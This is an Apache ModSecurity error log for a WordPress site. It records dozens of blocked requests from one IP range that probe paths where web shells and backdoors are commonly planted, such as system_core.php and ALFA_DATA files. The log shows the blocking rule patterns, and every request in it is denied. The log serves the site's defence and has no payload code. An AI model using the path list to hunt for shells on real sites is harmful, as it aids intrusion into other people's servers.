[Thu May 07 15:26:35.929594 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.152:46169] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "afw-q8vhwfljlt8trSqKOgAAAEM"]
[Thu May 07 15:26:36.128378 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.151:40889] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "afw-rMvhwfljlt8trSqKOwAAAEQ"]
[Thu May 07 15:26:36.327455 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.115:58135] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/"] [unique_id "afw-rMvhwfljlt8trSqKPAAAAEs"]
[Thu May 07 15:26:36.528370 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.118:62515] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/mediaelement/"] [unique_id "afw-rMvhwfljlt8trSqKPQAAAEA"]
[Thu May 07 15:26:36.729897 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.148:53601] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentythree/"] [unique_id "afw-rMvhwfljlt8trSqKPgAAAEw"]
[Thu May 07 15:26:36.927670 2026] [:error] [pid 15715:tid 15730] [client 98.159.43.142:55225] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/astra/assets/css/"] [unique_id "afw-rCY4dZsLOttMkcdfIQAAAQo"]
[Thu May 07 15:26:37.125767 2026] [:error] [pid 15715:tid 15737] [client 98.159.43.142:62749] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/222.php"] [unique_id "afw-rSY4dZsLOttMkcdfIgAAARE"]
[Thu May 07 15:26:37.324324 2026] [:error] [pid 15715:tid 15742] [client 98.159.43.134:55515] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/"] [unique_id "afw-rSY4dZsLOttMkcdfIwAAARY"]
[Thu May 07 15:26:37.522547 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.148:54385] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "afw-rcvhwfljlt8trSqKQQAAAFU"]
[Thu May 07 15:26:37.719498 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.151:46935] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "afw-rcvhwfljlt8trSqKQgAAAEY"]
[Thu May 07 15:26:37.916270 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.112:64021] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/wp-conflg.php"] [unique_id "afw-rcvhwfljlt8trSqKQwAAAFI"]
[Thu May 07 15:26:38.112955 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.132:58193] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/"] [unique_id "afw-rsvhwfljlt8trSqKRAAAAEE"]
[Thu May 07 15:26:38.314887 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.105:23959] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/pattern/"] [unique_id "afw-rsvhwfljlt8trSqKRQAAAFM"]
[Thu May 07 15:26:38.512034 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.134:53919] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-load.php"] [unique_id "afw-riY4dZsLOttMkcdfJwAAARM"]
[Thu May 07 15:26:38.710157 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.129:20095] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/user-install.php"] [unique_id "afw-rsvhwfljlt8trSqKSAAAAE4"]
[Thu May 07 15:26:38.909815 2026] [:error] [pid 28098:tid 28120] [client 98.159.43.151:58873] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/"] [unique_id "afw-rsvhwfljlt8trSqKSgAAAFQ"]
[Thu May 07 15:26:39.115497 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.163:26689] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/block-bindings/"] [unique_id "afw-r8vhwfljlt8trSqKSwAAAEc"]
[Thu May 07 15:26:39.314457 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.156:38575] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-cache-sys/"] [unique_id "afw-r8vhwfljlt8trSqKTgAAAFU"]
[Thu May 07 15:26:39.511682 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.123:28261] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist"] [unique_id "afw-r8vhwfljlt8trSqKUAAAAFI"]
[Thu May 07 15:26:39.709764 2026] [:error] [pid 15715:tid 15717] [client 98.159.43.136:62313] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comments-less.php"] [unique_id "afw-ryY4dZsLOttMkcdfLgAAAQA"]
[Thu May 07 15:26:39.909013 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.107:62071] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh.php"] [unique_id "afw-r8vhwfljlt8trSqKUwAAAEM"]
[Thu May 07 15:26:40.106554 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.118:31339] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/accordion/"] [unique_id "afw-sMvhwfljlt8trSqKVQAAAEs"]
[Thu May 07 15:26:40.305956 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.137:49735] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/Nxploited/class-payment.php"] [unique_id "afw-sMvhwfljlt8trSqKVgAAAEw"]
[Thu May 07 15:26:40.502480 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.152:36319] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/home.php"] [unique_id "afw-sMvhwfljlt8trSqKWgAAAEo"]
[Thu May 07 15:26:40.700690 2026] [:error] [pid 15631:tid 15692] [client 98.159.43.120:64125] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/"] [unique_id "afw-sHvP1GkPUuuLfqUM9wAAAMU"]
[Thu May 07 15:26:40.898098 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.145:42037] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "afw-sMvhwfljlt8trSqKXQAAAFI"]
[Thu May 07 15:26:41.094143 2026] [:error] [pid 15631:tid 15702] [client 98.159.43.163:49637] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/file/"] [unique_id "afw-sXvP1GkPUuuLfqUM-AAAAM8"]
[Thu May 07 15:26:41.291377 2026] [:error] [pid 15629:tid 15656] [client 98.159.43.160:46015] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-json-resolver-sql.php"] [unique_id "afw-sfrIJCALdUrO43lX1wAAABc"]
[Thu May 07 15:26:41.493535 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.131:61075] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "afw-scvhwfljlt8trSqKYQAAAEM"]
[Thu May 07 15:26:41.691598 2026] [:error] [pid 15629:tid 15647] [client 98.159.43.131:28437] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/widgets/"] [unique_id "afw-sfrIJCALdUrO43lX2QAAAA4"]
[Thu May 07 15:26:41.890845 2026] [:error] [pid 15631:tid 15695] [client 98.159.43.150:38235] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/interactivity-api/"] [unique_id "afw-sXvP1GkPUuuLfqUM-QAAAMg"]
[Thu May 07 15:26:42.090100 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.105:50115] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/taxonomy-compiler.php"] [unique_id "afw-ssvhwfljlt8trSqKZwAAAEc"]
[Thu May 07 15:26:42.288741 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.139:41667] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/"] [unique_id "afw-ssvhwfljlt8trSqKaQAAAEY"]
[Thu May 07 15:26:42.485409 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.137:42785] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyone/assets/"] [unique_id "afw-ssvhwfljlt8trSqKawAAAFI"]
[Thu May 07 15:26:42.681121 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.113:46055] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/aboutc.php"] [unique_id "afw-ssvhwfljlt8trSqKbQAAAEE"]
[Thu May 07 15:26:42.878943 2026] [:error] [pid 15631:tid 15697] [client 98.159.43.163:50339] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afw-snvP1GkPUuuLfqUM-gAAAMo"]
[Thu May 07 15:26:43.077528 2026] [:error] [pid 15630:tid 15670] [client 98.159.43.132:39773] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Content/Type/Sniffer.plugin.php"] [unique_id "afw-s3TithRAi4821quPzgAAAIo"]
[Thu May 07 15:26:43.277315 2026] [:error] [pid 15630:tid 15678] [client 98.159.43.147:54695] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "afw-s3TithRAi4821quPzwAAAJI"]
[Thu May 07 15:26:43.473405 2026] [:error] [pid 15631:tid 15704] [client 98.159.43.140:20323] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/cgi-bin/config.php"] [unique_id "afw-s3vP1GkPUuuLfqUM_QAAANE"]
[Thu May 07 15:26:43.671556 2026] [:error] [pid 15630:tid 15674] [client 98.159.43.129:28793] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/nbpmo.php"] [unique_id "afw-s3TithRAi4821quP0AAAAI4"]
[Thu May 07 15:26:43.871526 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.158:27763] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/system.php"] [unique_id "afw-s8vhwfljlt8trSqKcwAAAFc"]
[Thu May 07 15:26:44.070038 2026] [:error] [pid 15715:tid 15741] [client 98.159.43.151:31453] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/login.php"] [unique_id "afw-tCY4dZsLOttMkcdfPwAAARU"]
[Thu May 07 15:26:44.268994 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.136:61357] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sc_1.php"] [unique_id "afw-tMvhwfljlt8trSqKdAAAAFU"]
[Thu May 07 15:26:44.467360 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.137:56867] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/gk.php"] [unique_id "afw-tMvhwfljlt8trSqKdQAAAEY"]
[Thu May 07 15:26:44.667628 2026] [:error] [pid 15715:tid 15720] [client 98.159.43.113:58777] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/about/system_core.php"] [unique_id "afw-tCY4dZsLOttMkcdfQAAAAQM"]
[Thu May 07 15:26:44.865503 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.108:34953] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/system_core.php"] [unique_id "afw-tCY4dZsLOttMkcdfQQAAAQk"]
[Thu May 07 15:26:45.061441 2026] [:error] [pid 15631:tid 15711] [client 98.159.43.134:40349] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/system_core.php"] [unique_id "afw-tXvP1GkPUuuLfqUNAAAAANg"]
[Thu May 07 15:26:45.259498 2026] [:error] [pid 15629:tid 15648] [client 98.159.43.139:31811] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/contact/system_core.php"] [unique_id "afw-tfrIJCALdUrO43lX2gAAAA8"]
[Thu May 07 15:26:45.456297 2026] [:error] [pid 15630:tid 15664] [client 98.159.43.150:29047] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/ai-builder/system_core.php"] [unique_id "afw-tXTithRAi4821quP0QAAAIQ"]
[Thu May 07 15:26:45.652627 2026] [:error] [pid 15629:tid 15636] [client 98.159.43.110:30029] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/ast-block-templates-json/system_core.php"] [unique_id "afw-tfrIJCALdUrO43lX3AAAAAM"]
[Thu May 07 15:26:45.849803 2026] [:error] [pid 15631:tid 15707] [client 98.159.43.121:47051] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/astra-sites/json/system_core.php"] [unique_id "afw-tXvP1GkPUuuLfqUNAwAAANQ"]
[Thu May 07 15:26:46.046474 2026] [:error] [pid 15631:tid 15700] [client 98.159.43.152:32203] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/cartflows-logs/system_core.php"] [unique_id "afw-tnvP1GkPUuuLfqUNBQAAAM0"]
[Thu May 07 15:26:46.246896 2026] [:error] [pid 15631:tid 15694] [client 98.159.43.123:24595] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/edd/system_core.php"] [unique_id "afw-tnvP1GkPUuuLfqUNBgAAAMc"]
[Thu May 07 15:26:46.443811 2026] [:error] [pid 15630:tid 15669] [client 98.159.43.147:33179] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/elementor/system_core.php"] [unique_id "afw-tnTithRAi4821quP0gAAAIk"]
